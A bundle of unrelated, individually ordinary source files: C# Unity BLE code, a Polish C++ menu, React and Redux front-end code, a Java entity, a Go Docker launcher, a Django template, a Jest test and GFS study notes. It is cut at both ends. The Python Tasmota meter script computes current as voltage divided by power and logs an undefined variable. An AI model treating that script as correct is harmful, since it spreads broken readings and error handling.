IsScanningChanged?.Invoke(isScanning);
}
}
// Throws an exception if we are not running on the main thread
private static void EnsureRunningOnMainThread()
{
if (System.Threading.Thread.CurrentThread.ManagedThreadId != 1)
{
throw new InvalidOperationException($"Methods of type {nameof(Central)} can only be called from the main thread");
}
}
// Retrieves the stored peripheral state for the given scanned peripheral
private static PeripheralInfo GetPeripheralInfo(ScannedPeripheral peripheral)
{
if (peripheral == null) throw new ArgumentNullException(nameof(peripheral));
_peripheralsInfo.TryGetValue(peripheral.SystemId, out PeripheralInfo pInf);
return pInf ?? throw new ArgumentException(nameof(peripheral), $"No peripheral found with SystemId={peripheral.SystemId}");
}
#region PersistentMonoBehaviourSingleton
/// <summary>
/// Internal <see cref="MonoBehaviour"/> that runs queued <see cref="Action"/> on each
/// Unity's call to <see cref="Update"/>.
/// </summary>
sealed class InternalBehaviour :
Internal.PersistentMonoBehaviourSingleton<InternalBehaviour>,
Internal.IPersistentMonoBehaviourSingleton
{
// Our action queue
readonly ConcurrentQueue<Action> _actionQueue = new ConcurrentQueue<Action>();
// Instance name
string Internal.IPersistentMonoBehaviourSingleton.GameObjectName => "SystemicBleCentral";
/// <summary>
/// Queues an action to be invoked on the next frame update.
/// </summary>
/// <param name="action">The action to be invoked on the next update.</param>
public void EnqueueAction(Action action)
{
_actionQueue.Enqueue(action);
}
// Update is called once per frame
protected override void Update()
{
while (_actionQueue.TryDequeue(out Action act))
{
try
{
act?.Invoke();
}
catch (Exception e)
{
Debug.LogException(e);
}
}
base.Update();
}
// Called when the instance will be destroyed
void OnDestroy()
{
if (!AutoDestroy)
{
Central.Shutdown();
}
}
}
// Queues an action to be invoked on the next frame update
static void EnqueueAction(Action action)
{
var instance = InternalBehaviour.Instance;
if (instance)
{
instance.EnqueueAction(action);
}
}
// Queues an action to be invoked on the next frame update but only if the peripheral is still in our list
static void EnqueuePeripheralAction(PeripheralInfo pInf, Action action)
{
var instance = InternalBehaviour.Instance;
if (instance)
{
instance.EnqueueAction(() =>
{
Debug.Assert(pInf.ScannedPeripheral != null);
if (_peripheralsInfo.ContainsKey(pInf.ScannedPeripheral?.SystemId))
{
action();
}
});
}
}
#endregion
}
}
|
// Ten program korzysta z instrukcji switch do określenia
// pozycji wybranej z menu.
#include <iostream>
#include <iomanip>
using namespace std;
int main()
{
int choice; // Przechowywanie wybranej opcji
int months; // Przechowywanie liczby miesięcy
double charges; // Przechowywanie miesięcznych opłat
// Stałe przechowujące ceny karnetów
const double ADULT = 40.0,
SENIOR = 30.0,
CHILD = 20.0;
// Stałe dla opcji w menu
const int ADULT_CHOICE = 1,
CHILD_CHOICE = 2,
SENIOR_CHOICE = 3,
QUIT_CHOICE = 4;
// Wyświetlenie menu i odczytanie wejścia od użytkownika
cout << "\t\tMenu wyboru karnetów w klubie fitness\n\n";
cout << "1. Standardowy, osoba dorosła\n";
cout << "2. Dziecięcy\n";
cout << "3. Dla seniora\n";
cout << "4. Wyjdź z programu\n\n";
cout << "Wprowadź swój wybór: ";
cin >> choice;
// Ustawienie formatowania liczb na wyjściu
cout << fixed << showpoint << setprecision(2);
// Odpowiedź na wybór użytkownika
switch (choice)
{
case ADULT_CHOICE:
cout << "Na ile miesięcy? ";
cin >> months;
charges = months * ADULT;
cout << "Opłata całkowita wynosi " << charges << " zł." << endl;
break;
case CHILD_CHOICE:
cout << "Na ile miesięcy? ";
cin >> months;
charges = months * CHILD;
cout << "Opłata całkowita wynosi " << charges << " zł." << endl;
break;
case SENIOR_CHOICE:
cout << "Na ile miesięcy? ";
cin >> months;
charges = months * SENIOR;
cout << "Opłata całkowita wynosi " << charges << " zł." << endl;
break;
case QUIT_CHOICE:
cout << "Koniec programu.\n";
break;
default:
cout << "Dostępne opcje możesz wybrać, wpisując liczby od 1 do 4. Uruchom\n"
<< "program ponownie i wybierz jedną z nich.\n";
}
return 0;
}
|
import { useContext, useState } from "react";
import { Link, Redirect, useHistory } from "react-router-dom";
import AuthContext from "../../context/AuthContext";
import useFetch from "../Utils/useFetch";
import authService from "../../services/AuthService";
import { AUTH_ROUTES } from "../../services/Apis";
import SignupReq from "../../models/request/SignupReq";
import { Dialog } from "../Utils/Dialog";
export const SignupPage = () => {
const [email, setEmail] = useState("");
const [username, setUsername] = useState("");
const [password, setPassword] = useState("");
const [emailHelpMsg, setEmailHelpMsg] = useState<string | null>(null);
const [usernameHelpMsg, setUsernameHelpMsg] = useState<string | null>(null);
const [passwordHelpMsg, setPasswordHelpMsg] = useState<string | null>(null);
const [formValid, setFormValid] = useState(false);
const [errorMsg, setErrorMsg] = useState("");
const [showErrorDialog, setShowErrorDialog] = useState(false);
const fetcher = useFetch();
const history = useHistory();
const { user } = useContext(AuthContext);
const validateForm = (field: string): boolean => {
if (field === "username") {
return !!password && !passwordHelpMsg && !!email && !emailHelpMsg;
} else if (field === "password") {
return !!username && !usernameHelpMsg && !!email && !emailHelpMsg;
} else {
// email
return !!username && !usernameHelpMsg && !!password && !passwordHelpMsg;
}
};
const showDialog = (message: string) => {
setErrorMsg(message);
setShowErrorDialog(true);
};
const handleSubmit = (e: React.FormEvent<HTMLFormElement>) => {
e.preventDefault();
if (!formValid) return;
const signup = async () => {
const { rsp, data } = await fetcher(AUTH_ROUTES.REGISTER, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(new SignupReq(email, username, password)),
});
if (rsp.status === 200) {
// redirect to login page
history.push("/login");
} else {
showDialog(
data?.msg ? data.msg : "Invald email address or username or password"
);
setFormValid(false);
}
};
signup().catch((error: any) => {
showDialog(error.message);
setFormValid(false);
});
};
if (user) {
return <Redirect to={{ pathname: "/" }} />;
}
return (
<>
<div className="container">
<div className="d-flex justify-content-center align-items-center h-100">
<div className="card" style={{ borderRadius: "1rem" }}>
<div className="d-flex align-items-center">
<div className="card-body p-4 p-lg-5 text-black">
<form onSubmit={handleSubmit}>
<h5
className="fw-normal mb-3 pb-3"
style={{ letterSpacing: "1px" }}
>
Registration Info
</h5>
<div className="form-outline mb-3">
<label className="form-label" htmlFor="email">
Email
</label>
<input
type="email"
id="email"
className="form-control"
onBlur={(e) =>
authService.onBlurField(
e,
"email",
"Invalid email",
setEmailHelpMsg
)
}
onChange={(e) =>
authService.onChangeField(
e,
"email",
setEmailHelpMsg,
setEmail,
setFormValid,
validateForm
)
}
aria-describedby="emailHelp"
placeholder="Enter email"
/>
<div
id="emailHelp"
className="form-text text-danger"
style={{ height: "0.5em" }}
>
{emailHelpMsg}
</div>
</div>
<div className="form-outline mb-3">
<label className="form-label" htmlFor="username">
Username
</label>
<input
type="text"
id="username"
className="form-control"
onBlur={(e) =>
authService.onBlurField(
e,
"username",
"Invalid username",
setUsernameHelpMsg
)
}
onChange={(e) =>
authService.onChangeField(
e,
"username",
setUsernameHelpMsg,
setUsername,
setFormValid,
validateForm
)
}
aria-describedby="usernameHelp"
placeholder="Enter username"
/>
<div
id="usernameHelp"
className="form-text text-danger"
style={{ height: "0.5em" }}
>
{usernameHelpMsg}
</div>
</div>
<div className="form-outline mb-3">
<label className="form-label" htmlFor="password">
Password
</label>
<input
type="password"
id="password"
className="form-control"
onBlur={(e) =>
authService.onBlurField(
e,
"password",
"Invalid password",
setPasswordHelpMsg
)
}
onChange={(e) =>
authService.onChangeField(
e,
"password",
setPasswordHelpMsg,
setPassword,
setFormValid,
validateForm
)
}
aria-describedby="passwordHelp"
placeholder="Enter password"
/>
<div
id="passwordHelp"
className="form-text text-danger"
style={{ height: "0.5em" }}
>
{passwordHelpMsg}
</div>
</div>
<div className="mb-4 pt-1">
<button
className="main-color btn btn-secondary"
type="submit"
disabled={!formValid}
>
Register
</button>
</div>
<p className="text-black">
Already have an account?{" "}
<Link className="text-black" to={"/login"}>
Login here
</Link>
</p>
</form>
<Dialog
show={showErrorDialog}
onClose={() => setShowErrorDialog(false)}
title="Error"
message={errorMsg}
/>
</div>
</div>
</div>
</div>
</div>
</>
);
};
|
package com.easyshopping.entity;
import java.util.ArrayList;
import java.util.List;
import javax.persistence.CascadeType;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.JoinColumn;
import javax.persistence.ManyToOne;
import javax.persistence.OneToMany;
import javax.persistence.OrderBy;
import javax.persistence.SequenceGenerator;
import javax.persistence.Table;
import javax.validation.Valid;
import javax.validation.constraints.NotNull;
import org.hibernate.validator.constraints.Length;
import org.hibernate.validator.constraints.NotEmpty;
import com.fasterxml.jackson.annotation.JsonProperty;
@Entity
@Table(name = "xx_parameter_group")
@SequenceGenerator(name = "sequenceGenerator", sequenceName = "xx_parameter_group_sequence")
public class ParameterGroup extends OrderEntity{
private long serialVersionUID;
private String name;
private ProductCategory productCategory;
private List<Parameter> parameters;
public void setName(String name){
this.name = name;
}
public void setParameters(List<Parameter> parameters){
this.parameters = parameters;
}
public void setProductCategory(ProductCategory productCategory){
this.productCategory = productCategory;
}
@JsonProperty
@NotEmpty
@Length(max = 200)
@Column(nullable = false)
public String getName(){
return name;
}
@NotNull
@ManyToOne(fetch = FetchType.LAZY)
@JoinColumn(nullable = false)
public ProductCategory getProductCategory(){
return productCategory;
}
@JsonProperty
@Valid
@NotEmpty
@OneToMany(mappedBy = "parameterGroup", fetch = FetchType.LAZY, cascade = CascadeType.ALL, orphanRemoval = true)
@OrderBy("order asc")
public List<Parameter> getParameters(){
return parameters;
}
}
|
#!/usr/bin/env python
"""
Created by amandebu 2024
Forked from https://github.com/RalfZim/venus.dbus-fronius-smartmeter by Ralf Zimmermann ([email protected]) in 2020.
Used https://github.com/victronenergy/velib_python/blob/master/dbusdummyservice.py as basis for this service.
Reading information from the Fronius Smart Meter via http REST API and puts the info on dbus.
"""
try:
import gobject # Python 2.x
except:
from gi.repository import GLib as gobject # Python 3.x
import platform
import logging
import sys
import os
import requests # for http GET
try:
import thread # for daemon = True / Python 2.x
except:
import _thread as thread # for daemon = True / Python 3.x
# our own packages
sys.path.insert(1, os.path.join(os.path.dirname(__file__), '../ext/velib_python'))
from vedbus import VeDbusService
path_UpdateIndex = '/UpdateIndex'
class DbusDummyService:
def __init__(self, servicename, deviceinstance, paths, productname='Tasmota SML Meter', connection='Tasmota SML Meter service'):
self._dbusservice = VeDbusService(servicename)
self._paths = paths
logging.debug("%s /DeviceInstance = %d" % (servicename, deviceinstance))
# Create the management objects, as specified in the ccgx dbus-api document
self._dbusservice.add_path('/Mgmt/ProcessName', __file__)
self._dbusservice.add_path('/Mgmt/ProcessVersion', 'Unkown version, and running on Python ' + platform.python_version())
self._dbusservice.add_path('/Mgmt/Connection', connection)
# Create the mandatory objects
self._dbusservice.add_path('/DeviceInstance', deviceinstance)
self._dbusservice.add_path('/ProductId', 16) # value used in ac_sensor_bridge.cpp of dbus-cgwacs
self._dbusservice.add_path('/ProductName', productname)
self._dbusservice.add_path('/FirmwareVersion', 0.1)
self._dbusservice.add_path('/HardwareVersion', 0)
self._dbusservice.add_path('/Connected', 1)
for path, settings in self._paths.items():
self._dbusservice.add_path(
path, settings['initial'], writeable=True, onchangecallback=self._handlechangedvalue)
gobject.timeout_add(1000, self._update) # pause 200ms before the next request
def _update(self):
try:
# meter_url = "http://localhost:8880/cm?cmnd=status%208"
meter_url = "http://192.168.178.54/cm?cmnd=status%208"
meter_page = "StatusSNS"
meter_id = "LK13BE"
meter_value = {
"/Ac/Energy/Forward": "E_in",
"/Ac/Energy/Reverse": "E_out",
"/Ac/Power": "Power",
"/Ac/L1/Power": "Power_L1_curr",
"/Ac/L2/Power": "Power_L2_curr",
"/Ac/L3/Power": "Power_L3_curr",
"/Ac/L1/Frequency": "HZ",
"/Ac/L2/Frequency": "HZ",
"/Ac/L3/Frequency": "HZ",
"/Ac/L1/Voltage": "Volt_L1_curr",
"/Ac/L2/Voltage": "Volt_L2_curr",
"/Ac/L3/Voltage": "Volt_L3_curr",
"/Ac/L1/Current": "Amperage_L1_curr",
"/Ac/L2/Current": "Amperage_L2_curr",
"/Ac/L3/Current": "Amperage_L3_curr"
}
meter_r = requests.get(url=meter_url) # request data from device
meter_data = meter_r.json()[meter_page][meter_id] # convert JSON data and select data
voltages=[]
power=0
for dbus_name,rest_name in meter_value.items():
if "Voltage" in dbus_name:
min_value=80
max_value=270
elif "Power" in dbus_name:
min_value=-30000
max_value=30000
elif "Frequency" in dbus_name:
min_value=20
max_value=70
elif "Current" in dbus_name:
min_value=-1000
max_value=1000
elif "Energy" in dbus_name:
min_value=0
max_value=100000000
new_value=meter_data[rest_name]
if new_value>=min_value and new_value<=max_value:
if "/Ac/L" in dbus_name and "/Voltage" in dbus_name:
voltages.append(new_value)
if "/Ac/Power"==dbus_name:
power=new_value
self._dbusservice[dbus_name] = new_value
if len(voltages)>0:
voltage=sum(voltages)/len(voltages)
self._dbusservice["/Ac/Voltage"]=round(voltage,2)
self._dbusservice["/Ac/Current"]=round(voltage/power,2)
logging.info("House Consumption: {:.0f}".format(meter_consumption))
except:
logging.info("WARNING: Could not read from tasmota-sml-device")
#self._dbusservice['/Ac/Power'] = 0 # TODO: any better idea to signal an issue?
# increment UpdateIndex - to show that new data is available
index = self._dbusservice[path_UpdateIndex] + 1 # increment index
if index > 255: # maximum value of the index
index = 0 # overflow from 255 to 0
self._dbusservice[path_UpdateIndex] = index
return True
def _handlechangedvalue(self, path, value):
logging.debug("someone else updated %s to %s" % (path, value))
return True # accept the change
def main():
def _kwh(p, v):
return str("%.2f" % v) + "kWh"
def _a(p, v):
return str("%.1f" % v) + "A"
def _w(p, v):
return str("%i" % v) + "W"
def _v(p, v):
return str("%.2f" % v) + "V"
def _hz(p, v):
return str("%.4f" % v) + "Hz"
def _n(p, v):
return str("%i" % v)
logging.basicConfig(level=logging.DEBUG) # use .INFO for less logging
thread.daemon = True # allow the program to quit
from dbus.mainloop.glib import DBusGMainLoop
# Have a mainloop, so we can send/receive asynchronous calls to and from dbus
DBusGMainLoop(set_as_default=True)
devinstance=31
pvac_output = DbusDummyService(
servicename=f'com.victronenergy.grid.tasmota_sml_{devinstance}',
deviceinstance=devinstance,
# customname='Tasmota_SML_Grid',
paths={
'/Ac/Power': {'initial': 0, "textformat": _w},
'/Ac/Current': {'initial': 0, "textformat": _a},
'/Ac/Voltage': {'initial': 0, "textformat": _v},
'/Ac/Energy/Forward': {'initial': 0, "textformat": _kwh}, # energy bought from the grid
'/Ac/Energy/Reverse': {'initial': 0, "textformat": _kwh}, # energy sold to the grid
'/Ac/L1/Voltage': {'initial': 0, "textformat": _v},
'/Ac/L2/Voltage': {'initial': 0, "textformat": _v},
'/Ac/L3/Voltage': {'initial': 0, "textformat": _v},
'/Ac/L1/Current': {'initial': 0, "textformat": _a},
'/Ac/L2/Current': {'initial': 0, "textformat": _a},
'/Ac/L3/Current': {'initial': 0, "textformat": _a},
'/Ac/L1/Power': {'initial': 0, "textformat": _w},
'/Ac/L2/Power': {'initial': 0, "textformat": _w},
'/Ac/L3/Power': {'initial': 0, "textformat": _w},
'/Ac/L1/Frequency': {'initial': 0, "textformat": _hz},
'/Ac/L2/Frequency': {'initial': 0, "textformat": _hz},
'/Ac/L3/Frequency': {'initial': 0, "textformat": _hz},
path_UpdateIndex: {'initial': 0, "textformat": _n},
})
logging.info('Connected to dbus, and switching over to gobject.MainLoop() (= event based)')
mainloop = gobject.MainLoop()
mainloop.run()
if __name__ == "__main__":
main()
|
import { FormEvent, useState } from "react";
import { Room } from "./component/Room";
import { Home, SignIn } from "./globalStyle";
const App = () => {
const [ username, setUsername ] = useState<string>('')
const [ showChat, setShowChat ] = useState<boolean>(false)
const handleSignInChat = (event: FormEvent) => {
event.preventDefault()
if(!username) {
alert('entre com seu username primeiro')
return
}
setShowChat(true)
}
return (
<Home>
{ !showChat ?
<SignIn>
<div>
<span>Entrar no chat</span>
<form>
<input
type="text"
value={username}
onChange={e => setUsername(e.target.value)}
autoFocus={true}
placeholder="digite seu username"/>
<button onClick={e => handleSignInChat(e)}>Entrar</button>
</form>
</div>
</SignIn> :
<Room username={username}/>
}
</Home>
)
}
export default App;
|
#include "binary_trees.h"
/**
* binary_tree_size - get the size of a binary tree
* @tree: the binary tree
* Return: number of nodes in the binary tree
*/
size_t binary_tree_size(const binary_tree_t *tree)
{
size_t s = 0;
if (tree != NULL)
{
s += 1;
s += binary_tree_size(tree->left);
s += binary_tree_size(tree->right);
}
return (s);
}
|
# Distributed File System

```
**Google File System** => used by MapReduce(mainly)
1. Why? There are many other systems(NFS,..)
2. Special workload
1. Big File, not optimized for small file
3. Interface
1. app-level library, not POSIX interface
4. Architecture
1. Single Master for storing the metadata
2. Interesting points
1. Client will send the data directly to any replica instead of the master.
1. Client -> follower -> Primary -> follower
2. Resonbeing **the client might be far away from master**
2. Client will need to ask Primary whether the ops is successful
3. If one of the writes fail?
5. GFS file region state after mutation
1. consistent
1. all clients reads same meta
2. defined
1. all clients will see the mutation entierly
3. inconsisent
1. cleint might see different value at different time
6. Problem
1. After all clients finished writes successfully
2. is the state defined?
1. NO: because the update will not be consistent
2. Solution:
1. Atmoic Record Append
2. Only append to the end of Chunk
7. GFS endgame
1. it scaled to ~50 million files, ~10 PB
2. GFS eventually replcied with a n
```

## Question 1, GFS’s record duplicates?
> Give one scenario where GFS’s record append would insert duplicate records at the end of a file.
**Answer:**
1. Client A reads the metadata (file name, chunk index) of the file from the GFS Master.
2. Client sends `append` request to all replicas who owns the chunks (secondary and primary)
3. Client request primary server to execute the `append`
4. Primary brocasts the request to all secondary replicas, one of replica fails because of network partition or server failure, , others executed successfully.
5. Primary replies ERROR to Client because of not all replicas succeed.
6. Client retries the `append` and ask for executing it. The preivous successful replica might exectute the `append` at the end of same chunk of the file.
## Question 2, Why erroneous writing can be read.
> Suppose client A performs a record append to a GFS file, but the call returns an error. Client B later performs a read on the same file. However, client B is able to read client A’s data, even though client A’s write returned an error. Give a sequence of events that can lead to this behavior.
**Answer:**
1. Client A reads the metadata (file name, chunk index) of the file from the GFS Master.
2. Client A sends `append` request to all replicas who owns the chunks (secondary and primary)
3. Client A requests primary server to execute the `append`
4. Primary brocasts the request to all secondary replicas, one of replica fails because of network partition or server failure, others executed successfully.
5. Primary replies ERROR to Client A because of not all replicas succeed.
6. Client B reads the metadata (file name, chunk index) of the file from the GFS Master.
7. Client B `read` same file from one of the replica which had executed successfully. Therefore, the Client B is able to read client A's data.
## Question 3, Does reading from any replicas ensure linearizability?
> GFS allows clients to read chunk data from any replica chunk server. Can this design choice lead to linearizability violation? If yes, give a sequence of events that lead to a violation. If no, justify your answer.
**Answer:**
Yes, it will lead to linearizability violation.
1. As what we discussed above. The partialy failed write data (1) of client A may cuase inconsistent data in a chunk.
2. Client B reads data may read data (1) from the server who succeed at step 1, while cannot reads data (1) from the server who failes to operate. It is not consistent, and of course not linearizable.
## Reference
1. Ghemawat, S., Gobioff, H., & Leung, S. T. (2003). The Google file system. *Operating Systems Review*, *37*(5), 29–43. https://doi.org/10.1145/1165389.945450
2. Chang, F., Dean, J., Ghemawat, S., Hsieh, W. C., Wallach, D. A., Burrows, M., Chandra, T., Fikes, A., & Gruber, R. E. (2006). *Bigtable: a distributed storage system for structured data*. 205–218. https://doi.org/10.5555/1298455.1298475
3. Burrows, M. (2006). *The Chubby lock service for loosely-coupled distributed systems*. 335–350. https://doi.org/10.5555/1298455.1298487
|
/**
* Copyright (c) 2021 BlockDev AG
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
package docker
import (
"errors"
"fmt"
"os"
"os/exec"
"runtime"
"github.com/mysteriumnetwork/myst-launcher/model"
"github.com/mysteriumnetwork/myst-launcher/utils"
)
type DockerRunner struct {
tryStartCount int
myst model.DockerManager
}
func NewDockerRunner(myst model.DockerManager) *DockerRunner {
return &DockerRunner{
tryStartCount: 0,
myst: myst,
}
}
func (r *DockerRunner) IsRunning() bool {
canPingDocker := r.myst.PingDocker()
// defer log.Println("IsRunning >", canPingDocker)
if canPingDocker {
r.tryStartCount = 0
}
return canPingDocker
}
// return values: isRunning, couldNotStart
func (r *DockerRunner) IsRunningOrTryStart() (bool, bool) {
// fmt.Println("IsRunningOrTryStart >")
// defer fmt.Println("IsRunningOrTryStart >>>")
if !r.myst.PingDocker() {
r.tryStartCount++
if !r.tryStartDockerDesktop() || r.tryStartCount >= 20 {
r.tryStartCount = 0
return false, true
}
return false, false
}
r.tryStartCount = 0
return true, false
}
func getProcessName() string {
exe := "Docker Desktop.exe"
if runtime.GOOS == "darwin" {
exe = "Docker"
}
return exe
}
func (r *DockerRunner) tryStartDockerDesktop() bool {
exe := getProcessName()
if utils.IsProcessRunning(exe) {
return true
}
// fmt.Println("Start Docker Desktop 1>>>")
err := startDockerDesktop()
if err != nil {
fmt.Println("Failed to start cmd:", err)
return false
}
// fmt.Println("Start Docker Desktop 2>")
return true
}
func startDockerDesktop() error {
var cmd *exec.Cmd
fmt.Println("Start Docker Desktop>", runtime.GOOS)
switch runtime.GOOS {
case "windows":
dd := os.Getenv("ProgramFiles") + "\\Docker\\Docker\\Docker Desktop.exe"
cmd = exec.Command(dd, "-Autostart")
// fmt.Println("Start Docker Desktop>", cmd)
case "darwin":
cmd = exec.Command("open", "/Applications/Docker.app/")
default:
return errors.New("unsupported OS: " + runtime.GOOS)
}
fmt.Println("Start Docker Desktop>", cmd)
if err := cmd.Start(); err != nil {
fmt.Println("err>", err)
return err
}
return nil
}
|
import axios from 'axios';
export const GET_USER = 'GET_USER';
export const UPLOAD_PICTURE = 'UPLOAD_PICTURE';
export const UPDATE_BIO = 'UPDATE_BIO';
export const UPDATE_WORK = 'UPDATE_WORK';
export const FOLLOW_USER = 'FOLLOW_USER';
export const UNFOLLOW_USER = 'UNFOLLOW_USER';
export const DELETE_USER = 'DELETE_USER';
export const UPDATE_ISBAN = 'UPDATE_ISBAN';
export const GET_USER_ERRORS = 'GET_USER_ERRORS';
export const getUser = (uid) => {
return async (dispatch) => {
try {
const res = await axios.get(
`${process.env.REACT_APP_API_URL}user/${uid}`
);
dispatch({ type: GET_USER, payload: res.data });
} catch (err) {
return console.log(err);
}
};
};
export const uploadPicture = (data, id) => {
return async (dispatch) => {
return await axios
.post(`${process.env.REACT_APP_API_URL}uploadprofil`, data)
.then((res) => {
if (res.data.errors) {
dispatch({ type: GET_USER_ERRORS, payload: res.data.errors });
} else {
dispatch({ type: GET_USER_ERRORS, payload: '' });
return axios
.get(`${process.env.REACT_APP_API_URL}user/${id}`)
.then((res) => {
dispatch({
type: UPLOAD_PICTURE,
payload: res.data.profilePicture,
});
});
}
})
.catch((err) => console.log(err));
};
};
export const updateBio = (userId, bio) => {
return async (dispatch) => {
return await axios({
method: 'put',
url: `${process.env.REACT_APP_API_URL}user/` + userId,
data: { bio },
})
.then((res) => {
dispatch({ type: UPDATE_BIO, payload: bio });
})
.catch((err) => console.log(err));
};
};
export const isBan = (userId, isBanished) => {
return async (dispatch) => {
return await axios({
method: 'put',
url: `${process.env.REACT_APP_API_URL}user/` + userId,
data: { isBanished },
})
.then((res) => {
dispatch({ type: UPDATE_ISBAN, payload: isBanished });
})
.catch((err) => console.log(err));
};
};
export const updateWorkAt = (userId, worksAt) => {
return async (dispatch) => {
return await axios({
method: 'put',
url: `${process.env.REACT_APP_API_URL}user/` + userId,
data: { worksAt },
})
.then((res) => {
dispatch({ type: UPDATE_WORK, payload: worksAt });
})
.catch((err) => console.log(err));
};
};
export const followUser = (followerId, IdToFollow) => {
return async (dispatch) => {
try {
// eslint-disable-next-line
const res = await axios({
method: 'put',
url: `${process.env.REACT_APP_API_URL}user/follow/` + followerId,
data: { IdToFollow },
});
dispatch({ type: FOLLOW_USER, payload: { IdToFollow } });
} catch (err) {
return console.log(err);
}
};
};
export const unfollowUser = (followerId, IdToUnfollow) => {
return async (dispatch) => {
try {
// eslint-disable-next-line
const res = await axios({
method: 'put',
url: `${process.env.REACT_APP_API_URL}user/unfollow/` + followerId,
data: { IdToUnfollow },
});
dispatch({ type: UNFOLLOW_USER, payload: { IdToUnfollow } });
} catch (err) {
return console.log(err);
}
};
};
export const deleteUser = (userId) => {
return async (dispatch) => {
try {
// eslint-disable-next-line
const res = await axios({
method: 'delete',
url: `${process.env.REACT_APP_API_URL}user/${userId}`,
});
dispatch({ type: DELETE_USER, payload: { userId } });
} catch (err) {
return console.log(err);
}
};
};
|
{% load static %}
<!DOCTYPE html>
<html lang="pt-br">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ManageParking</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css">
<link rel="stylesheet" href="{% static 'css/base/basee.css' %}">
<link rel="stylesheet" href="{% static 'css/cliente/clientee.css' %}">
<link rel="stylesheet" href="{% static 'css/cliente/deletar_cliente.css' %}">
<link rel="stylesheet" href="{% static 'css/user/loginn_useer.css' %}">
<link rel="stylesheet" href="{% static 'css/messages/message.css' %}">
<link rel="stylesheet" href="{% static 'css/user/paineel.css' %}">
</head>
<body>
{% if user.is_authenticated %}
{% if user.is_superuser %}
<nav class="menu-lateral">
<div class="logo-content">
<img src="{% static 'img/logo.svg' %}" alt="logo">
</div>
<div>
<h2>Olá, {{request.user}}</h2>
</div>
<ul class="list-actions">
<a href="{% url 'painel' %}">
<li>
<span><i class="bi bi-clipboard-data-fill"></i></span>
<p>Painel</p>
</li>
</a>
<a href="{% url 'funcionarios' %}">
<li>
<span><i class="bi bi-people-fill"></i></span>
<p>Funcionários</p>
</li>
</a>
<a href="{% url 'clientes' %}">
<li>
<span><i class="bi bi-person-circle"></i></span>
<p>Clientes</p>
</li>
</a>
<a href="#">
<li>
<span><i class="bi bi-coin"></i></span>
<p>Faturamentos</p>
</li>
</a>
<a href="#">
<li>
<span><i class="bi bi-card-checklist"></i></span>
<p>Reservas</p>
</li>
</a>
<a href="#">
<li>
<span><i class="bi bi-search"></i></span>
<p>Vagas</p>
</li>
</a>
<a href="{% url 'logout' %}">
<li>
<span><i class="bi bi-box-arrow-right"></i></span>
<p>Sair</p>
</li>
</a>
</ul>
</nav>
{% else %}
<nav class="menu-lateral">
<div class="logo-content">
<img src="{% static 'img/logo.svg' %}" alt="logo">
</div>
<div>
<h2>Olá, {{request.user}}</h2>
</div>
<ul class="list-actions">
<a href="{% url 'painel' %}">
<li>
<span><i class="bi bi-clipboard-data-fill"></i></span>
<p>Painel</p>
</li>
</a>
<a href="{% url 'clientes' %}">
<li>
<span><i class="bi bi-person-circle"></i></span>
<p>Clientes</p>
</li>
</a>
<a href="#">
<li>
<span><i class="bi bi-card-checklist"></i></span>
<p>Reservas</p>
</li>
</a>
<a href="#">
<li>
<span><i class="bi bi-search"></i></span>
<p>Vagas</p>
</li>
</a>
<a href="{% url 'logout' %}">
<li>
<span><i class="bi bi-box-arrow-right"></i></span>
<p>Sair</p>
</li>
</a>
</ul>
</nav>
{% endif %}
{% endif %}
<div class="content">
<ul class="messages">
{% for message in messages %}
{% if 'success' in message.tags %}
<li class="alert-success"><span class="success">Sucesso:</span>{{ message }}</li>
{% elif 'error' in message.tags %}
<li class="alert-error"><span class="error">Erro:</span>{{ message }}</li>
{% else %}
<li>{{ message }}</li>
{% endif %}
{% endfor %}
</ul>
{% block content %}
{% endblock %}
</div>
</body>
</html>
|
import {
ZENDESK_TICKET_ID,
TEST_COMMENT_COPY
} from '../../utils/tests/testConstants'
import { handler } from './handler'
import { updateZendeskTicketById } from '../../sharedServices/zendesk/updateZendeskTicket'
import { constructSqsEvent } from '../../utils/tests/events/sqsEvent'
import { logger } from '../../sharedServices/logger'
import { mockLambdaContext } from '../../utils/tests/mocks/mockLambdaContext'
jest.mock('../../sharedServices/zendesk/updateZendeskTicket', () => ({
updateZendeskTicketById: jest.fn()
}))
const mockUpdateZendeskTicketById = updateZendeskTicketById as jest.Mock
const givenUnsuccessfulUpdateZendeskTicket = () => {
mockUpdateZendeskTicketById.mockImplementation(() => {
throw new Error('An updateZendeskTicket related error')
})
}
const validEventBody = `{
"zendeskId": "${ZENDESK_TICKET_ID}",
"commentCopyText": "${TEST_COMMENT_COPY}"
}`
const callHandlerWithBody = async (customBody: string) => {
await handler(constructSqsEvent(customBody), mockLambdaContext)
}
describe('initiate closeZendeskTicket handler', () => {
beforeEach(() => {
jest.spyOn(logger, 'error')
})
afterEach(() => {
jest.clearAllMocks()
})
it('updates zendesk ticket correct parameters', async () => {
await callHandlerWithBody(validEventBody)
expect(mockUpdateZendeskTicketById).toHaveBeenCalledTimes(1)
expect(mockUpdateZendeskTicketById).toHaveBeenCalledWith(
ZENDESK_TICKET_ID,
TEST_COMMENT_COPY,
'closed'
)
})
it('throws an error when no event records are in the SQSEvent object', async () => {
await expect(handler({ Records: [] }, mockLambdaContext)).rejects.toThrow(
'No records found in event'
)
})
it('throws an error when no event body is present', async () => {
const invalidEventBody = ''
await expect(callHandlerWithBody(invalidEventBody)).rejects.toThrow(
'Could not find event body'
)
})
it.each([
['zendeskId', 'Zendesk ticket ID'],
['commentCopyText', 'Comment copy text']
])(
'throws an error when %p is missing from the event body',
async (missingPropertyName: string, missingPropertyError: string) => {
const eventBodyParams = {
zendeskId: ZENDESK_TICKET_ID,
commentCopyText: TEST_COMMENT_COPY
} as { [key: string]: string }
delete eventBodyParams[missingPropertyName]
await expect(
callHandlerWithBody(JSON.stringify(eventBodyParams))
).rejects.toThrow(`${missingPropertyError} missing from event body`)
}
)
it.each([
['zendeskId', 'Zendesk ticket ID'],
['commentCopyText', 'Comment copy text']
])(
'throws an error when %p is an empty string',
async (
emptyStringPropertyName: string,
emptyStringPropertyError: string
) => {
const eventBodyParams = {
zendeskId: ZENDESK_TICKET_ID,
commentCopyText: TEST_COMMENT_COPY
} as { [key: string]: string }
eventBodyParams[emptyStringPropertyName] = ''
